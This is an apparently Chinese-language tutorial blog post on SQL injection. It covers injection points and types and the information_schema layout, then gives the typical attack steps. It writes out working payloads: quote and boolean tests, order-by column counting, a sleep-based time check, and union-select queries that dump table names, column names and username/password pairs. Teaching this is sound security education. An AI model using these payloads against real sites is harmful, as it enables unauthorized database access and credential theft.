SQL注入漏洞(二)

本文探讨了SQL注入漏洞的本质,出现的条件和位置,包括动态和静态网站的差异。文章详细介绍了注入的分类,如GET、POST、COOKIE类型的注入,以及数字型和字符型数据的注入模式。通过信息_schema表解析了数据库结构,并提供了判断SQL注入漏洞的步骤和技巧,如利用闭合字符和布尔盲注。此外,还涉及了如何爆库、报列名和字段的方法。

本文章仅供参考学习使用,不做任何违法犯罪行为!!!

一.SQL注入的本质:把用户输入的数据当作代码执行

条件:

  1. 用户能够控制输入;
  2. 原本程序要执行的代码,拼接了用户输入的数据SQL注入出现的地方:用户一切可以输入的地方;数据库可能导入导出的地方;

动态网站:sp,jsp,aspx等极大可能存在sql注入漏洞;

静态网站像html与数据库没有太对的交互,不会存在sql注入漏洞

伪静态网站:看着是静态网站实际上是动态网站

  1. url传参;表单post;Cookie;user-agent;X-Forwarded-For
  2. 新闻/商品等查询处;yoghurt注册/登录处;修改用户资料时;找回密码处;搜索框.

二.sql注入的分类:

  1. 数据传输方式:

GET类型    POST类型    COOKIE类型

  1. 数据的类型:

数字型(更加严谨些)    字符型

  1. 注入的模式:

基于联合查询的注入模式

基于报错的注入模式

基于布尔的盲注

基于时间的盲注

推查询的注入模式

三.常见的闭合在字符: ‘’ “”  (‘’)  (“”)  

只要在闭合字符里的数据都是字符型数据

没有闭合的数据叫数字型数据

四.表的结构——information_schema:

Information_schema:

Schemata      //所有数据库的名字

Schema_name (列名)  //数据库的名

Tables       //所有表的名字

Tables_schema   //表所属数据库的名字

Tables_name   //表的名字

Colums     //所有字段的名字

Table_schema   //字段所属数据库的名字

Table_name    //字段所属表的名字

Column_name  //字段的名字

五.SQL注入的一般步骤:

  1. 判断网站是否存在sql注入漏洞:输入闭合字符,报错说明存在注入漏洞,原因在于闭合字符是成双成对出现的,所以输入单个闭合字符报错,有语法的问题

 

  1. 判断网站的闭合字符

特殊:

Id=1 order by 3 --+    //执行该语句之后极为存在单引号的闭合字符

Id=1 and aleep(10)--+  //这种形式也可以中作为判断字符,但是受到网络的影响;

And  :一真一假即为假   真真为真   假假为假

Or:  一真一假即为真    真真为真    假假为假

A.Id=1’ 异常/报错

Id=1 and 1=1 --+  正确

Id=1 and 1=2 --+ 错误

说面页面可能错在数据型sql注入

  1. id=1’异常

  Id=1’ and 1=1 --+  正确

id=1’ and  1=2 -- + 错误

极有可能存在单引号字符型sql注入

  1. id=1’异常

Id=1” and 1=1 --+正常

Id=1” and 1=2 --+错误

极有可能存在双引号字符型sql注入

(3)基于联合询的注入

  1. 求闭合字符
  2. 求列数:二分法先用order by 10 报错再选用 order by 5 报错再选 order by 3 知道到正常的页面,判断出来列数
  3. 求显示位(在网页中显示的内容)

 

 

D. 爆数据库名:先查看数据库的版本

 E.报表名

语句:id=1 and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_shcema=’security’

 F.报列名

语法:group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’user’

G.报字段

Group_concat(username,0x23,password) from users --+ 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值